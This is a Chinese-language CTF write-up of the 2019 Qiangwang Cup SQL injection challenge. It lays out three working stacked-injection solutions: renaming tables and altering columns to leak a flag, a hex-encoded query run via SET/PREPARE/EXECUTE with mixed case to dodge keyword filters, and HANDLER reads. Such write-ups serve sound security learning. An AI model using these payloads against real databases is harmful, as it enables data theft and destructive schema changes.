强网杯 2019 - 随便注
参考:
【BUUCTF[强网杯 2019]随便注 的三种解法】 (opens new window)
# 思路一
?inject=1' or 1='1
?inject=1' union select 1,2
2
使用联合查询,回显return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
,显示出过滤的内容
没有过滤分号,可以堆叠注入。显示当前库表
?inject=1';show tables;
有1919810931114514
,words
两张表
显示words表的字段
?inject=1';show columns from words;
当前查询到的信息和words表中字段符合。php里的sql语句查询的是words表,现在不能使用select语句,不考虑盲注的话,可以利用php当前的sql语句的select查询,需要先把flag所在的表名改为words
它的sql语句可能是这样
$sql = "select id, data from words";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. "data: " . $row["data"]. "<br>";
}
}
2
3
4
5
6
7
看看这个数字表里的字段,直接写数字表名查不到信息,需要给数字表名添加上反引号(又学到了)
?inject=1';show columns from 1919810931114514;
?inject=1';show columns from `1919810931114514`;
2
现在能看到,数字表里只有一个flag,先把words表随便改个名字,再把数字表名改成words
修改表名后,还需要修改和补充字段,现在的words表里没有id字段和data字段,可以插入id字段,修改flag字段的名字
?inject=1';show tables;rename table words to wow;rename table `1919810931114514` to words;alter table words add id int;alter table words change flag data varchar(100);
现在再使用万能密码就可以把flag爆出来了
?inject=1' or 1='1
# 思路二
使用16进制编码查询语句
select *from `1919810931114514`;
# 编码后,在定义变量赋值时,前面加上0x,不然认不出来
73656c6563742a66726f6d6031393139383130393331313134353134603b
2
3
又学到了
提示
mysql使用set @变量名=值,设置变量
prepare from预处理语句,会进行解码操作
execute执行sql语句
所以可以使用prepare from
解码一个16进制编码的查询语句,使用execute来执行,这个过程设置把16进制编码设置成变量更方便
题目提示strstr($inject, "set") && strstr($inject, "prepare")
,set,prepare不能同时小写
?inject=1';SeT @a=0x73656c6563742a66726f6d6031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;
测试了一下,很舒服哈哈,编码的表名需要使用反引号包裹
# 思路三
MySQL 的底层操作,用于直接访问表的行
?inject=1'; handler `1919810931114514` open as `a`; handler `a` read next;#
解释
-- 打开表
HANDLER `example_table` OPEN AS `a`;
-- 读取第一行
HANDLER `a` READ NEXT;
-- 读取第二行
HANDLER `a` READ NEXT;
-- 继续读取其他行
-- 直到你读取完所有行
-- 关闭表
HANDLER `a` CLOSE;
2
3
4
5
6
7
8
9
10
11
12
13
14